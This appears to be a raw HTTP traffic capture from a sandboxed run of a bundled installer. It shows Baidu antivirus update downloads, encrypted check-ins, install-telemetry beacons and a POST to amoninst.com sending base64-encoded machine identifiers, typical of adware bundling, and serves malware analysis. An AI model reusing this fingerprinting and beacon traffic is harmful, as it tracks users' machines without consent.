><link rel="dns-prefetch" href="//t11.baidu.com"/><link re
l="dns-prefetch" href="//t12.baidu.com"/><link rel="dns-prefetch
" href="//b1.bdstatic.com"/><title>..........................
.</title>.<style index="index"  id="css_index">html,body{h
eight:100%}html{overflow-y:auto}body{font:12px arial;text-align:;backg
round:#fff}body,p,form,ul,li{margin:0;padding:0;list-style:none}body,f
orm,#fm{position:relative}td{text-align:left}img{border:0}a{color:#00c
}a:active{color:#f60}input{border:0;padding:0}#wrapper{position:relati
ve;_position:;min-height:100%}#head{padding-bottom:100px;text-align:ce
nter;*z-index:1}#ftCon{height:100px;position:absolute;bottom:44px;<<< skipped >>>

POST /up.cgi HTTP/1.1

HEAD-LENGTH: 71

User-Agent: Mozilla/5.0

Host: up.eg.bav.baidu.com

Content-Length: 188

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

......5.4.0.90620 .(S2 61807c4bafc26bb2ed98e3e60f587cd68.....@.....J.USx..j..

h.S.....`.n[......R  .a..^.m....>...O..m.....'.W....}.,.w[...g......3..T.S.BM1........2;B.....b....#...QU..5.
HTTP/1.1 200 OK

Content-Type: text/plain

Content-Length: 0

Connection: Keep-Alive

GET /newver_B354.xml HTTP/1.1

Range: bytes=0-461

Host: dl2.bav.baidu.com

Accept: */*

User-Agent: OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_bn5.4.0.90620

Pragma: no-cache

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:03:29 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1435737528"

Last-Modified: Wed, 01 Jul 2015 07:58:48 GMT

Cache-Control: max-age=86399

Content-Length: 462

Content-Range: bytes 0-461/462

Content-Type: application/xml

X-HW: 1448348609.dop006.fr7.t,1448348609.cds037.fr7.c
...<?xml version="1.0" encoding="UTF-8" ?><update_info md5="c
06e649406f402d93138c19e1bf8d738"><item name="Baidu_Secure_System
Up_5.4.3.147185" version="5.4.3.147185" type="full_package" mode="norm
al" require_admin="yes" parameter="/S" size="24837096" digital_sign="B
aidu Online Network Technology (Beijing)Co., Ltd" ds_start_time="2012"
 ds_end_time="2015" md5="a8dca96017d530dff60862278a21b518" url="http:/
/dl2.bav.baidu.com/BavPro_Setup_B354.exe"/></update_info>..

POST /sample_check.cgi HTTP/1.0

Content-Length: 144

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0..2.1.M'..d{.@.0#.}v.x_}$.....*..*=D[......_..s0..dbg.....C.FMN.$~.....
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 44

Connection: Close
.........0..W...{...6...t.Q.f.......^.Z\.l1...

POST /sample_check.cgi HTTP/1.0

Content-Length: 144

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0r0.t(k.N.D.........e.'ot....6.'fr! .......~qf#..S...uNL..I.(?..Y...:....
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 44

Connection: Close
......Q..8..vi..q(.d..,=.`G.W.l...\}L...k0N=..

POST /sample_check.cgi HTTP/1.0

Content-Length: 144

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0..U.... 6z.,(I.V!j.....?..8..J,T'

...~.r....Q...LG...k.l....!._.....<\.
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 44

Connection: Close
......2...i!.g .Pp[Q^f.'r.a...!.P...n.n.)n.l..

HEAD /BavPro_Setup_B354.exe HTTP/1.1

Range: bytes=0-

Host: dl2.bav.baidu.com

Accept: */*

User-Agent: OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_bn5.4.0.90620

Pragma: no-cache

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:03:30 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1435737521"

Last-Modified: Wed, 01 Jul 2015 07:58:41 GMT

Cache-Control: max-age=86400

Content-Length: 24837096

Content-Range: bytes 0-24837095/24837096

Content-Type: application/x-msdownload

X-HW: 1448348611.dop003.fr7.t,1448348610.cds051.fr7.p

POST /sample_check.cgi HTTP/1.0

Content-Length: 144

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0..U.e{.&6.e\ N.V!l.....9..9..L*"T.}.........U...OBi....n....$.Z.....8\.
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 44

Connection: Close
......2....R.a .$.XVTf.!......V.Q...h{..^..l..

GET / HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: VVV.baidu.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:41 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: Keep-Alive

Vary: Accept-Encoding

Set-Cookie: BAIDUID=CD75F6B2B00F3F03E6FD121FE6A083DC:FG=1; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com

Set-Cookie: BIDUPSID=CD75F6B2B00F3F03E6FD121FE6A083DC; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com

Set-Cookie: PSTM=1448348681; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com

Set-Cookie: BDSVRTM=0; path=/

Set-Cookie: BD_HOME=0; path=/

Set-Cookie: H_PS_PSSID=17960_1462_12826_17783_17970_18041_17000_17073_15231_11689; path=/; domain=.baidu.com

P3P: CP=" OTI DSP COR IVA OUR IND COM "

Cache-Control: private

Cxy_all: baidu c80e5bdabcdc8a7a97e43721db086f9b

Expires: Tue, 24 Nov 2015 07:04:16 GMT

X-Powered-By: HPHP

Server: BWS/1.1

X-UA-Compatible: IE=Edge,chrome=1

BDPAGETYPE: 1

BDQID: 0xbbd276d600025229

BDUSERID: 0
18019..<!DOCTYPE html><!--STATUS OK--><html><head
><meta http-equiv="content-type" content="text/html;charset=utf-
8"><meta http-equiv="X-UA-Compatible" content="IE=Edge"><m
eta content="always" name="referrer"><meta name="theme-color" co
ntent="#2932e1"><link rel="shortcut icon" href="/favicon.ico" ty
pe="image/x-icon" /><link rel="search" type="application/opensea
rchdescription xml" href="/content-search.xml" title="............" /&
gt;<link rel="icon" sizes="any" mask href="//VVV.baidu.com/img/baid
u.svg"><link rel="dns-prefetch" href="//s1.bdstatic.com"/><
;link rel="dns-prefetch" href="//t1.baidu.com"/><link rel="dns-p
refetch" href="//t2.baidu.com"/><link rel="dns-prefetch" href="/
/t3.baidu.com"/><link rel="dns-prefetch" href="//t10.baidu.com"/
><link rel="dns-prefetch" href="//t11.baidu.com"/><link re
l="dns-prefetch" href="//t12.baidu.com"/><link rel="dns-prefetch
" href="//b1.bdstatic.com"/><title>..........................
.</title>.<style index="index"  id="css_index">html,body{h
eight:100%}html{overflow-y:auto}body{font:12px arial;text-align:;backg
round:#fff}body,p,form,ul,li{margin:0;padding:0;list-style:none}body,f
orm,#fm{position:relative}td{text-align:left}img{border:0}a{color:#00c
}a:active{color:#f60}input{border:0;padding:0}#wrapper{position:relati
ve;_position:;min-height:100%}#head{padding-bottom:100px;text-align:ce
nter;*z-index:1}#ftCon{height:100px;position:absolute;bottom:44px;<<< skipped >>>

GET /cgi/dump/Filter.xml HTTP/1.1

User-Agent: HTTP Downloader

Host: VVV.pcfaster.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:07 GMT

Server: Apache

Last-Modified: Wed, 08 Apr 2015 02:04:41 GMT

Accept-Ranges: bytes

Content-Length: 821

Vary: Accept-Encoding

Content-Type: application/xml

Connection: Keep-Alive
<?xml version="1.0" encoding="UTF-8"?>..<FilterDll XmlVersion
="1.0">...<LSP>... <module name="net_monitor2.0.2.9.dll" c
ompany="Thunder Networking Technologies,LTD" />... <module name=
"idmmbc.dll" company="Tonec Inc." />... <module name="ytalsp.dll
" company="GOOBZO" />. ... <module name="sblsp.dll" company="SPE
EDbit" version="anyversion"/>. ... <module name="lavasofttcpserv
ice.dll" company="lavasoft limited" version="anyversion"/>. ... <
;module name="pctlsp.dll" company="PC Tools Research Pty Ltd." version
="anyversion"/>. ...</LSP>......<ShellInject>... <mo
dule name="Test1234x.dll" company="Test1234x" />...</ShellInject
>......<ShellConfig>...<info bInstallBav="FALSE" DownLoadB
avURL="hXXp://dl2.bav.baidu.com/BavPro_Setup_GL.exe" TimeValue="864000
" Language="1234 5678 2052 " />...</ShellConfig>.....</Fil
terDll>.....

POST /md5_check.cgi HTTP/1.0

Content-Length: 128

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0...).;..Nf......_..6.L....ft.&Ci|.....A........~. ..,>..
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 46

Connection: Close
......9.$.-.<..i.'.TvZ)sX7...x....i..s.7.T..#...

POST /md5_check.cgi HTTP/1.0

Content-Length: 124

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0.9..5......1.O..H`....~.Z..:.>...o...6.$-....ah....x
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 46

Connection: Close

.........".e......K..i.$.;....r.......i.....HW..

POST /thankyou.php HTTP/1.1

Content-Type: application/x-www-form-urlencoded

Host: VVV.amoninst.com

Content-Length: 858

Connection: Keep-Alive

capp=updater&cid=9664&mhx=03ef4c01c176d6e70bfcec5fbfd833625621834e&base=X3NydmxvZz0mYnJvd3Nlcj1pZSZjW015QmVzdE9mZmVyc1RvZGF5QlJdW3NdPS0zMSZjW3VwZGF0ZXJdW3NdPS0zMSZjYXBwPXVwZGF0ZXImY2M9VUEmY2lkPTk2NjQmY2xpcD0xOTQuMjQyLjk2LjIxOCZjbWRsPWFtaXNldHVwOTU4N19fOTY2NC5leGUgL3MgIC92ZXIgMS4xLjIuNDEgIC91IGh0dHA6Ly93d3cuYW1vbmluc3QuY29tL2luZGV4LnBocCAvdGEgL2NpIDk2NjQgL2kgTXlCZXN0T2ZmZXJzVG9kYXlCUiZjbnQ9ZWQ0ZjNiNWZiOTNlNTk2NGRhMTViZDYwN2NkNjZhNDcmY3VycmVudF9zY3JlZW49RmluaXNoX0xhc3RfU2NyZWVuJmRwcm9kPTE5QzJGQjNERUMzODU0MDFGNkZDRjIyMTc4MzM0QSZpcz0tMzEmbWFjPUFBPT0mbWFjaGc9TnpWbFpEazFOamN0WVdFMU9DMDBZemhsTFdFNFpXRXRNMk5oWkRkak5EZGhZakF6QUE9PSZuYW1lPVdGQTVBQT09Jm5ldGZzPS0zMSZvcz1OVDUuMVNQMyZzeXNpZD1ENkE2OTQ3QjI0OTc1REI2QUI5REU4QjE3MUM1RkE2RSZzeXNpZDE9RDZBNjk0N0IyNDk3NURCNkFCOURFOEIxNzFDNUZBNkUmdGU9MTQ0ODM0ODYxOCZ0aWQ9JnRzPTE0NDgzNDg2MTcmdmVyPTEuMS4yLjQxJnZlcnQ9MwA=
HTTP/1.1 200 OK

Content-Type: text/plain; charset=UTF-8

Date: Tue, 24 Nov 2015 07:03:36 GMT

Server: Apache/2.2.15 (Red Hat)

X-Powered-By: PHP/5.3.3

Content-Length: 14

Connection: keep-alive

....      ..HTTP/1.1 200 OK..Content-Type: text/plain; charset=UTF-8..
Date: Tue, 24 Nov 2015 07:03:36 GMT..Server: Apache/2.2.15 (Red Hat)..
X-Powered-By: PHP/5.3.3..Content-Length: 14..Connection: keep-alive...
...      ....

POST /up.cgi HTTP/1.1

HEAD-LENGTH: 98

User-Agent: Mozilla/5.0

Host: up.eg.bav.baidu.com

Content-Length: 123

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

.....5.4.3.147185 .(M2 61807c4bafc26bb2ed98e3e60f587cd68.....@..........J.USZ.Imali|br|IBD|Bundlex.......y.(.......5z.)...
HTTP/1.1 200 OK

Content-Type: text/plain

Content-Length: 0

Connection: Keep-Alive

....

POST /md5_check.cgi HTTP/1.0

Content-Length: 125

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0.........<.>..Mg....{.[..E.7...k.p.#..V....a>.......E
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 46

Connection: Close

.........".n......K..n.&{A...r..f.j.........HW..

GET /cloud-hips-down.cgi/static/hlcf.dat HTTP/1.1

Host: f.eg.bav.baidu.com

Accept: */*

Connection: Keep-Alive

Content-Length: 0


HTTP/1.1 200 OK

Server: nginx

Date: Tue, 24 Nov 2015 07:04:10 GMT

Content-Type: application/octet-stream

Content-Length: 1051

Last-Modified: Fri, 05 Jun 2015 08:20:01 GMT

Connection: Keep-Alive

ETag: "55715bb1-41b"

Content-Disposition: : /home/work/nginx/htdocs/cloud-hips-down.cgi/static/hlcf.dat

Accept-Ranges: bytes
J...]\fd...zbu..PT.<2.uQ@!<TzP.......1...#.e.X.q...c#.Z!........
....6>Y,......5..o..o..H.......^|./U......~.".j...2l./]^=T....zA.\.
(.!VI.zX..mY..............F.3.j=.L%.....9ZT....L.....u....P)....C.f...
..]..@..Dgn.........$y=..U0..5.6.......&..%Q....?.T._(.P.p.....G!..)..
...../..GSP........R.....1..{)r/...HT......$A..*.3..k..5..1b.....z S".
#..:..8.3n.....=..J. ....n.3H....*b.T.V..San..{.m.L gb.. ......z......
.W....-...\G......8.p..4}..bM_.....;......h...Qp.i"......\'C..iV..e.t.
'l"phW.W7.'ok...I......qPC.....}.........Q=..@.......c#...Dl.... 82...
....,#.KI...J..>...Q..ePf.g..*R...]F.//...>Ep.}#..X......Ed....~
....... ..CN...E.....*.V. 4.k....$\*.....E..EI.&..c....~.S.%|..w...*..
.|.......Q....Tc......%&3D.&.........V.!..cK.CH,...QH.s=.4Y.......I.qM
...8%.. ......o......9.W..S.............. .......ZY3'.6]L=@...s..!6..M
..[....&..Hw.3.ul...M....v.J.Dk..^..Wk.....\$y.../T.TC.`K`..P.... ..\0
.E`.x.r.]....5...F....4..|.........a..........9.H...6...8.........9.H.
..8.......3.9.H...8.........9.H.....Z<8.......8yT...........A.8....
.....9.8.....X.6.....

POST /md5_check.cgi HTTP/1.0

Content-Length: 123

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0.ke.b|u..................C.o&.,..bHg.%...6.M.i..6uh
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 46

Connection: Close

....................DM.0@22Y....B.c.i....... ...

POST /sample_check.cgi HTTP/1.0

Content-Length: 144

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0r0.tXj.I.A`n.........[......1.TasT\......a

.%..!....I>..<..I..Z...>....
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 44

Connection: Close
......Q..8...n...Thng.^Ht.G.&.....[|?..u.:N=..

POST /sample_check.cgi HTTP/1.0

Content-Length: 144

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0..U.... 6z.,(I.V!j.....?..8..J,T'

.....{..}.#...J1o....h....).W...v.H\.
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 44

Connection: Close
.........0..].....g.5n..|.".........,zY\.k1...

POST /md5_check.cgi HTTP/1.0

Content-Length: 172

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0K..O... !.....RE.(

..Iq...]`A.}..K>.?.s....*..s.."...}.?...Y.P.....T]}../a..MUr......u.......?$...
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 74

Connection: Close
......b...Ia.....q..K]..`{..o...;...{.`V..2..!..F.Q-O....^......W..s.k
.w....

POST /queryfeature.do HTTP/1.0

Content-Length: 179

Host: f.eg.bav.baidu.com

e=

...}...D.l.]\2X}y=.m.7$..&d.?!..7&..:"....A6....G.4..6.k.F,C...zBks.).#..r.....@......a ..Y...._/G.:u.........N.E.x.{p.....UO4..8..L...$y..."U... W.........%..N9......R.b>.'.
HTTP/1.0 200 OK

Content-Length: 30

Connection: Close

e=2...j H.......U...W...L-......

POST /md5_check.cgi HTTP/1.0

Content-Length: 124

HEAD-LENGTH: 72

Host: f.eg.bav.baidu.com

.....5.4.3.147185" 61807c4bafc26bb2ed98e3e60f587cd6(.....0..8.B.1.0.0.0....L.....#..!.F8.ARS.8.Jz..".n....$
.B..g...".e.U.f
HTTP/1.1 200 OK

HEAD-LENGTH: 6

Content-Length: 46

Connection: Close
......9.$.Y.A..n.&.Rt)Yw#A....}...m.z..K....#...

GET / HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: VVV.baidu.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:04:26 GMT

Content-Type: text/html; charset=utf-8

Transfer-Encoding: chunked

Connection: Keep-Alive

Vary: Accept-Encoding

Set-Cookie: BAIDUID=07F6E6D1AA5007628CB0D697008CD0C4:FG=1; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com

Set-Cookie: BIDUPSID=07F6E6D1AA5007628CB0D697008CD0C4; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com

Set-Cookie: PSTM=1448348666; expires=Thu, 31-Dec-37 23:55:55 GMT; max-age=2147483647; path=/; domain=.baidu.com

Set-Cookie: BDSVRTM=0; path=/

Set-Cookie: BD_HOME=0; path=/

Set-Cookie: H_PS_PSSID=1442_17956_17949_17783_17970_18041_17000_17073_15644_11646_18016; path=/; domain=.baidu.com

P3P: CP=" OTI DSP COR IVA OUR IND COM "

Cache-Control: private

Cxy_all: baidu dec8bf2ba4ba6adf35323ec2d8edfb3a

Expires: Tue, 24 Nov 2015 07:04:13 GMT

X-Powered-By: HPHP

Server: BWS/1.1

X-UA-Compatible: IE=Edge,chrome=1

BDPAGETYPE: 1

BDQID: 0xce198016000293bd

BDUSERID: 0
18014..<!DOCTYPE html><!--STATUS OK--><html><head
><meta http-equiv="content-type" content="text/html;charset=utf-
8"><meta http-equiv="X-UA-Compatible" content="IE=Edge"><m
eta content="always" name="referrer"><meta name="theme-color" co
ntent="#2932e1"><link rel="shortcut icon" href="/favicon.ico" ty
pe="image/x-icon" /><link rel="search" type="application/opensea
rchdescription xml" href="/content-search.xml" title="............" /&
gt;<link rel="icon" sizes="any" mask href="//VVV.baidu.com/img/baid
u.svg"><link rel="dns-prefetch" href="//s1.bdstatic.com"/><
;link rel="dns-prefetch" href="//t1.baidu.com"/><link rel="dns-p
refetch" href="//t2.baidu.com"/><link rel="dns-prefetch" href="/
/t3.baidu.com"/><link rel="dns-prefetch" href="//t10.baidu.com"/
><link rel="dns-prefetch" href="//t11.baidu.com"/><link re
l="dns-prefetch" href="//t12.baidu.com"/><link rel="dns-prefetch
" href="//b1.bdstatic.com"/><title>..........................
.</title>.<style index="index"  id="css_index">html,body{h
eight:100%}html{overflow-y:auto}body{font:12px arial;text-align:;backg
round:#fff}body,p,form,ul,li{margin:0;padding:0;list-style:none}body,f
orm,#fm{position:relative}td{text-align:left}img{border:0}a{color:#00c
}a:active{color:#f60}input{border:0;padding:0}#wrapper{position:relati
ve;_position:;min-height:100%}#head{padding-bottom:100px;text-align:ce
nter;*z-index:1}#ftCon{height:100px;position:absolute;bottom:44px;<<< skipped >>>

POST /up.cgi HTTP/1.1

HEAD-LENGTH: 98

User-Agent: Mozilla/5.0

Host: up.eg.bav.baidu.com

Content-Length: 123

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

.....5.4.3.147185 .(M2 61807c4bafc26bb2ed98e3e60f587cd68.....@..........J.USZ.Imali|br|IBD|Bundlex.......y.(.....F..=.&q.}
HTTP/1.1 200 OK

Content-Type: text/plain

Content-Length: 0

Connection: Keep-Alive

GET /opencgi/downinfo.php?m=start_download&i=61807c4bafc26bb2ed98e3e60f587cd61448348608&s=205.185.216.42&u=hXXp://dl2.bav.baidu.com/newver_B354.xml&t=2015/11/24 09:03:30&v=5.4.0.90620&p=0&speed=0&code=20000 HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: speedtest.wshifen.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:03:29 GMT

Server: Apache/2.2.25 (Unix) PHP/5.2.17

X-Powered-By: PHP/5.2.17

Content-Length: 4

Content-Type: text/html
200.....


GET /opencgi/downinfo.php?m=end_download&i=61807c4bafc26bb2ed98e3e60f587cd61448348608&s=205.185.216.42&u=hXXp://dl2.bav.baidu.com/newver_B354.xml&t=2015/11/24 09:03:32&v=5.4.0.90620&p=10000&speed=4587&code=30000 HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: speedtest.wshifen.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:03:33 GMT

Server: Apache/2.2.25 (Unix) PHP/5.2.17

X-Powered-By: PHP/5.2.17

Content-Length: 4

Content-Type: text/html
200.HTTP/1.1 200 OK..Date: Tue, 24 Nov 2015 07:03:33 GMT..Server: Apac
he/2.2.25 (Unix) PHP/5.2.17..X-Powered-By: PHP/5.2.17..Content-Length:
 4..Content-Type: text/html..200.....


GET /opencgi/downinfo.php?m=start_download&i=61807c4bafc26bb2ed98e3e60f587cd61448348610&s=205.185.216.42&u=hXXp://dl2.bav.baidu.com/BavPro_Setup_B354.exe&t=2015/11/24 09:03:33&v=5.4.0.90620&p=0&speed=0&code=30000 HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: speedtest.wshifen.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:03:37 GMT

Server: Apache/2.2.25 (Unix) PHP/5.2.17

X-Powered-By: PHP/5.2.17

Content-Length: 4

Content-Type: text/html

200.HTTP/1.1 200 OK..Date: Tue, 24 Nov 2015 07:03:37 GMT..Server: Apac
he/2.2.25 (Unix) PHP/5.2.17..X-Powered-By: PHP/5.2.17..Content-Length:
 4..Content-Type: text/html..200...

POST /up.cgi HTTP/1.1

Accept: */*

HEAD-LENGTH: 77

Content-Length: 308

Host: up.eg.bav.baidu.com

Connection: Keep-Alive

.....5.4.3.147185 .(G2 61807c4bafc26bb2ed98e3e60f587cd6Z.Imali|br|IBD|Bundlex.....?]D...QpW....#..\....B.....u...q.....(..$8.iQ......e..}.......

.|.y..f........j..8.S..Tw...$...$2.P..77\4V9..o#.......\9.!.."((p.(....\...~j...9..L.%.@K..-.....4~..QMgJ.$.W..[.2v.].z..K^..PZ......}{_.....S.9.K.f.....,...o`
HTTP/1.1 200 OK

Content-Type: text/plain

Content-Length: 0

Connection: Keep-Alive

POST /maxmind.asmx/GetGeoInfo HTTP/1.1

Content-Length: 0

Content-Type: application/json

User-Agent: WinHttpClient

Host: cloud-search.linkury.com

Connection: Keep-Alive


HTTP/1.1 200 OK

Cache-Control: private, max-age=0

Content-Type: application/json; charset=utf-8

Server: Microsoft-IIS/7.5

X-AspNet-Version: 4.0.30319

X-Powered-By: ASP.NET

Date: Tue, 24 Nov 2015 07:03:29 GMT

Content-Length: 47

{"d":"194.242.96.218,UA,Ukraine,,,,49,32,0,0,"}HTTP/1.1 200 OK..Cache-
Control: private, max-age=0..Content-Type: application/json; charset=u
tf-8..Server: Microsoft-IIS/7.5..X-AspNet-Version: 4.0.30319..X-Powere
d-By: ASP.NET..Date: Tue, 24 Nov 2015 07:03:29 GMT..Content-Length: 47
..{"d":"194.242.96.218,UA,Ukraine,,,,49,32,0,0,"}..

HEAD /newver_B354.xml HTTP/1.1

Range: bytes=0-

Host: dl2.bav.baidu.com

Accept: */*

User-Agent: OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_bn5.4.0.90620

Pragma: no-cache

Cache-Control: no-cache


HTTP/1.1 206 Partial Content

Date: Tue, 24 Nov 2015 07:03:28 GMT

Keep-Alive: timeout=5, max=100

Connection: Keep-Alive

Accept-Ranges: bytes

ETag: "1435737528"

Last-Modified: Wed, 01 Jul 2015 07:58:48 GMT

Cache-Control: max-age=86400

Content-Length: 462

Content-Range: bytes 0-461/462

Content-Type: application/xml

X-HW: 1448348608.dop016.fr7.t,1448348608.cds037.fr7.pr

POST /up.cgi HTTP/1.1

HEAD-LENGTH: 71

User-Agent: Mozilla/5.0

Host: up.eg.bav.baidu.com

Content-Length: 174

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

......5.4.0.90620 .(S2 61807c4bafc26bb2ed98e3e60f587cd68.....@.....J.USx..\..

Z.S.....R..n.xvA..<...5.....WQ...nh.t..7N...HuplL.HQv.'*..H.A....k.C..4.*....{....|.....f.P:v*.
HTTP/1.1 200 OK

Content-Type: text/plain

Content-Length: 0

Connection: Keep-Alive

GET /cgi-bin-py/report_mini_info.cgi?type=uninstall_reinstall&id=61807c4bafc26bb2ed98e3e60f587cd6&partnerID=baidu&downloadspeed=0&installname=OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_bn.exe&chl=Imali|br|IBD|Bundle&ver=5.4.0.90620&sip=&drc=20000&dt=1243016&firc=100&oldid=00000000-000C2902CDFB!80362997-b636-492d-840b-d6d8a80f01b6@#000C2902CDFB HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: sync.bav.baidu.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:03:27 GMT

Server: Apache

Content-Length: 17

Connection: Keep-Alive

Content-Type: application/octet-stream
report install ok....


GET /cgi-bin-py/report_mini_info.cgi?type=install_start&id=61807c4bafc26bb2ed98e3e60f587cd6&partnerID=baidu&downloadspeed=0&installname=OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_bn.exe&chl=Imali|br|IBD|Bundle&ver=5.4.0.90620&sip=&drc=20000&dt=1243016&firc=100&oldid=00000000-000C2902CDFB!80362997-b636-492d-840b-d6d8a80f01b6@#000C2902CDFB HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: sync.bav.baidu.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:03:28 GMT

Server: Apache

Content-Length: 17

Connection: Keep-Alive

Content-Type: application/octet-stream

report install ok....

GET /cgi-bin-py/report_mini_info.cgi?type=install_pi&id=61807c4bafc26bb2ed98e3e60f587cd6&chl=Imali|br|IBD|Bundle&ver=5.4.0.90620&pname=375ab56a567c2d729d1b6ced12434ec5355abe6a397c7772911b3eed444317c5625aee6a3c7c7972901b3eed434314c5375aee6a3c7c7972ca1b32ed104345c5605abd6a3e7c6072cd1b72ed4543&pm=91a805799331e8d4d057b64b5bc342e1&ps=3c5e8e6a&os=6.5.1.2600.3.0.0&oldid=00000000-000C2902CDFB!80362997-b636-492d-840b-d6d8a80f01b6@#000C2902CDFB&gfname=305ab56a567c3d72c91b64ed444314c53b5af76a557c3d72de1b69ed0e4313c52c5aea6a&gfm=30d89e44fcc0e2f332f431013517fa13&gfs=54308e6a HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: sync.bav.baidu.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:03:28 GMT

Server: Apache

Content-Length: 17

Connection: Keep-Alive

Content-Type: application/octet-stream
report install ok....


GET /cgi-bin-py/report_mini_info.cgi?type=dl_xml_start&id=61807c4bafc26bb2ed98e3e60f587cd6&partnerID=baidu&downloadspeed=0&installname=OCfBeepMvDfE8mqCHEKkwOufjHOCfBeepMvDfE8mqCHEKkwOufjH_bn.exe&chl=Imali|br|IBD|Bundle&ver=5.4.0.90620&sip=205.185.216.42&drc=20000&dt=1243016&firc=100&oldid=00000000-000C2902CDFB!80362997-b636-492d-840b-d6d8a80f01b6@#000C2902CDFB HTTP/1.1

User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)

Host: sync.bav.baidu.com

Cache-Control: no-cache


HTTP/1.1 200 OK

Date: Tue, 24 Nov 2015 07:03:29 GMT

Server: Apache

Content-Length: 17

Connection: Keep-Alive

Content-Type: application/octet-stream

report install okHTTP/1.1 200 OK..Date: Tue, 24 Nov 2015 07:03:29 GMT.
.Server: Apache..Content-Length: 17..Connection: Keep-Alive..Content-T
ype: application/octet-stream..report install ok....

